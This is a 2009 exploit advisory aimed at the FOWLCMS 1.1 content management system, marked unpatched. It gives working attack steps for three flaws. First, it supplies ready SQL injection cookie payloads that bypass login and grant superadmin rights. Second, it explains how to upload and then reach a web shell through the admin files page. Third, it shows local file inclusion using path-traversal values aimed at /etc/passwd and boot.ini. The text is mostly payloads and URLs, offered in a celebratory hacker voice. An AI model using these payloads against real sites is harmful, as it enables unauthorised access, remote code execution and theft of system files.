FOWLCMS 1.1 (AB-LFI-SU) Multiple Remote Vulnerabilities
2009-04-23 06:30:36***********************************************************************************************
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** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
** ¡PROUD TO BE SPANISH! **
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| MULTIPLE REMOTE VULNERABILITIES |
|--------------------------------------------------------------------------------------------|
| | FOWLCMS 1.1 | |
| CMS INFORMATION: ------------------------------ |
| |
|-->WEB: https://sourceforge.net/projects/fowlcms/ |
|-->DOWNLOAD: https://sourceforge.net/projects/fowlcms/ |
|-->DEMO: N/A |
|-->CATEGORY: CMS / Portals |
|-->DESCRIPTION: FOWL is not only a generic term for birds breeded as farm animals, |
| but also a CMS (Content Management System)...Use for: Blog Private homepage. |
|-->RELEASED: 2009-04-15 |
| |
| CMS VULNERABILITY: |
| |
|-->TESTED ON: firefox 3 |
|-->DORK: N/A |
|-->CATEGORY: AUTH-BYPASS(INSECURE-COOKIE|SQLi)/SHELL-UPLOAD/LFI |
|-->AFFECT VERSION: 1.1 |
|-->Discovered Bug date: 2009-04-22 |
|-->Reported Bug date: 2009-04-22 |
|-->Fixed bug date: Not fixed |
|-->Info patch: Not fixed |
|-->Author: YEnH4ckEr |
|-->mail: y3nh4ck3r[at]gmail[dot]com |
|-->WEB/BLOG: N/A |
|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo. |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
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AUTHENTICATION BYPASS (INSECURE COOKIE HANDLING/SQLi):
//////////////////////////////////////////////////////
-----
POC:
-----
Add cookies:
User_ID= xXx' [SQL] /*
PW=xXx
Or...
User_ID=xXx
PW=xXx' [SQL] /*
Both are injectable.
---------
EXPLOIT:
---------
User_ID= xXx' OR 1=1 /*
PW=xXx
OR...
User_ID=xXx
PW=xXx' OR 1=1 /*
Superadmin account!
**************************************************************************
When we are superadmin, we can exploit other attacks...(follow reading).
**************************************************************************
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SHELL UPLOAD VULNERABILITY:
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http://[HOST]/[HOME_PATH]/index.php?site=admin&action=files
Here we upload our shell. (Use a reliable path, ex: test)
Then, if you go to the link:
http://[HOST]/[HOME_PATH]/[PATH-SHELL]/shell.php
////////////////////////////
LOCAL FILE INCLUSION (LFI):
///////////////////////////
-----
PoC:
-----
Sites are stored in DB, but the administration panel allows to change sites (del/modify) (below link)
http://[HOST]/[HOME_PATH]/index.php?site=admin&action=sites
There, we change:
../../../../../boot.ini --> column: Dateiname
Something (signup for ex.) --> column: Alias
Or...
../../../../etc/passwd --> column: Dateiname
Something (signup for ex.) --> column: Alias
Then, we go to:
http://[HOST]/[HOME_PATH]/index.php?site=[Alias]
We can see the boot.ini or passwd files.
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EXPLOIT:
---------
changing the "signup" alias for the file that you want.
http://[HOST]/[HOME_PATH]/index.php?site=signup
Boom!
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ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
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GREETZ TO: JosS and all spanish Hack3Rs community!
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-------------------EOF---------------------------------->>>ENJOY IT!
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Fixes
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